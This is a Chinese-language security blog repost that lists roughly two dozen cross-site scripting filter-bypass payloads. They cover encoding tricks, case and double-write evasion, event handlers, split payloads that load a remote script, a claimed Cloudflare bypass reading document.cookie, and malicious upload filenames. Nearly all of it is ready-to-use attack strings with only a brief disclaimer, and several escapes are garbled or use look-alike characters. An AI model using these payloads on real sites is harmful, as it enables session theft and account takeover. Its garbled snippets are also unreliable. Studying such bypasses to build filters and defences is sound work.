分享 | 一文教你所有绕过xss姿势。

admin 2023年12月22日09:58:13评论58 views字数 5097阅读16分59秒阅读模式

申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把 明暗安全
 设为星标,否则可能就看不到啦!

1.漏洞背景

xss

1. 前端过滤

burp抓包改包绕过

2. 双写绕过

<scri<script>pt>alert(111)</scri<script>pt>

3. 事件绕过

如:onclick,onmousemove事件

onmouseover="alert('yyds')"

4. 大小写绕过

<SCRIPT>aLeRT(111)</sCRIpt>

5. 注释干扰绕过

如:<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>

6. 伪协议绕过

如:111"> <a href="javascript:alert(document.domain)">xss</a>

< table background= "javascript:alert(/xss/)"> </table>

<img srC= "javascript:alert('ss);" >

7. 空格回车Tab绕过

空格:<img src= "javascript:alert('xss');" >

TAB:< img src= "javasc :ript:alert('ss');" >

回车:< img src= "jav

ascript:

alert('xss');" >

8. 编码绕过

1. base64编码:

如果过滤了 < > ' " script,可以用base64编码

eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文

"> <script> eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ));</script>

base64编码多用于如下两种情况:

1. <a href= "可控点">

2. < iframe src= "可控点">

举例:

<a href= "data:text/html;base64,PGItZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==">test<

/a>

这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击

a链接时base64的编码就被还原成我们原本的< img src=x οnerrοr= alert(1)>

2. JS编码:

八进制:

三个八进制数字,如果个数不够,在前面补0,例如"e'的编码为"145"

3. 十六进制:

两个十六进制数字,如果个数不够,在前面补0,'e'的编码为"x65"

十六进制前面加上x可以被JS识别

尖括号被转义时,利用十六进制绕过

如:\x3cscript\x3ealert(document.domain);x3c/scriptx3e

4. unicode:

四个十六进制数字,如果个数不够,在前面补0,'e'的编码为"u0065"

十六进制前面加上u00变成JS可识别的Unicode编码

\u003cscriptu003ealert(document.domain);\u003c/script\u003e

对于一些控制字符,使用特殊的C类型的转义风格(例如n和r)

5. HTML实体编码:

字符编码:十进制、十六进制编码,样式为"&#数值;",例如"<"可以编码为"<和"<"

<img src="x"οnerrοr= "al&# 101;r 16;(1)">

浏览器是不会在html|标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么

6. URL编码:

进行两次URL全编码

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

Ascii码绕过

<img src="x"

onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

9. CSS绕过

1. 利用IE特性绕过XSS过滤:

IE中两个反单引号hgj `` 可以闭合一个左边双引号

``οnmοusemοve= alert(1)

2. 利用css特性绕过xss过滤:

设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持

background-color:# f00;background:url(javascript:alert(document.domain);");

低版本IE浏览器6 10 D版本弹窗成功

3. IE中利用CSS触发xss:

CSS中的注释/**/

xss:expres/**/sion(if(!window.x){alert(document.domain);window.x= 1;})

10.过滤空格

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

11.字符拼接

利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

<img src="x" onerror="top['al'+'ert'](1)">

利用window

<img src="x" onerror="window['al'+'ert'](1)">

利用self

<img src="x" onerror="self[`al`+`ert`](1)">

利用parent

<img src="x" onerror="parent[`al`+`ert`](1)">

利用frames

<img src="x" onerror="frames[`al`+`ert`](1)">

12.其它字符混淆

<<script>alert("xss");//<</script>

<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效

<SCRIPT>var a="\";alert("xss");//";</SCRIPT>

13.过滤双引号,单引号

用反引号代替单双引号

<img src="x" onerror=alert(`xss`);>

14.过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.onerror=eval;throw'=alertx281x29';">

15.alert 过滤

prompt 替换

<script>prompt(/xss/)</script>

confirm 替换

<script>confirm(/xss/)</script>

console.log 替换

<script>console.log(3)</script>

document.write 替换

<script>document.write(1)</script>

base64 绕过

<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">

<img src=x

onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

16.常用函数

<img src="x" onerror="eval(alert(1))">

<img src="x" onerror="open(alert(1))">

<img src="x" onerror="document.write(alert(1))">

<img src="x" onerror="setTimeout(alert(1))">

<img src="x" onerror="setInterval(alert(1))">

<img src="x" onerror="Set.constructor(alert(1))">

<img src="x" onerror="Map.constructor(alert(1))">

<img src="x" onerror="Array.constructor(alert(1))">

<img src="x" onerror="WeakSet.constructor(alert(1))">

<img src="x" onerror="constructor.constructor(alert(1))">

<img src="x" onerror="[1].map(alert(1))">

<img src="x" onerror="[1].find(alert(1))">

<img src="x" onerror="[1].every(alert(1))">

<img src="x" onerror="[1].filter(alert(1))">

<img src="x" onerror="[1].forEach(alert(1))">

<img src="x" onerror="[1].findIndex(alert(1))">

17.赋值拼接

<img src onerror=_=alert,_(1)>

<img src x=al y=ert onerror=top[x+y](1)>

<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>

<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

18.拆分法

当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过

<script>a='document.write("'</script>

<script>a=a+'<script src=ht'</script>

<script>a=a+'tp://test.com/xs'</script>

<script>a=a+'s.js></script>")'</script>

<script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write("<script src = http://test.com/xss.js></script>")

19.上传文件构造xss

上传普通文件更改文件名为xss语句

<script>alert(110)</script>.gif/png

20. XSS绕过cloudflare
Payload:

<svg onload=alert&#0000000040document.cookie)>

21. XSS绕过过滤
Payload:

"/><svg+svg+svg//On+OnLoAd=confirm(1)>

22. XSS(上传图片)
<img src=x onerror=alert('XSS')>.png ">

<img src=x onerror=alert('XSS')>.png ">

<svg onmouseover=alert(1)>.svg

<<script>alert('xss')<!--a-->a.png

遇到可以上传图片并且可以自定义文件名的时候可以试试,这样上传以后当我们访问这个图片的时候有可能就会触发xss了



原文链接:https://www.yuque.com/besilent/null/em256fm0kn5ofipl

—————————————————————
  • 往期精彩推荐

实战 | 记一次Bugcrowd实战挖掘
工具 | burp被动扫描xss神器
实战 | 一文教你如何绕过统一认证拿到赏金

❤️爱心三连击

1.关注公众号「明暗安全」

2.本文已收录在明暗官方网站:http://www.php1nf0.top/

3.看到这里了就点个关注支持下吧,你的「关注」是我创作的动力。

微信群:公众号回复加群获取

这是一个终身学习的团队,他们在坚持自己热爱的事情,欢迎加入明暗安全,和师傅们一起开心的挖洞~

        关注和转发是莫大鼓励❤️



原文始发于微信公众号(明暗安全):分享 | 一文教你所有绕过xss姿势。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月22日09:58:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享 | 一文教你所有绕过xss姿势。http://cn-sec.com/archives/2327002.html

发表评论

匿名网友 填写信息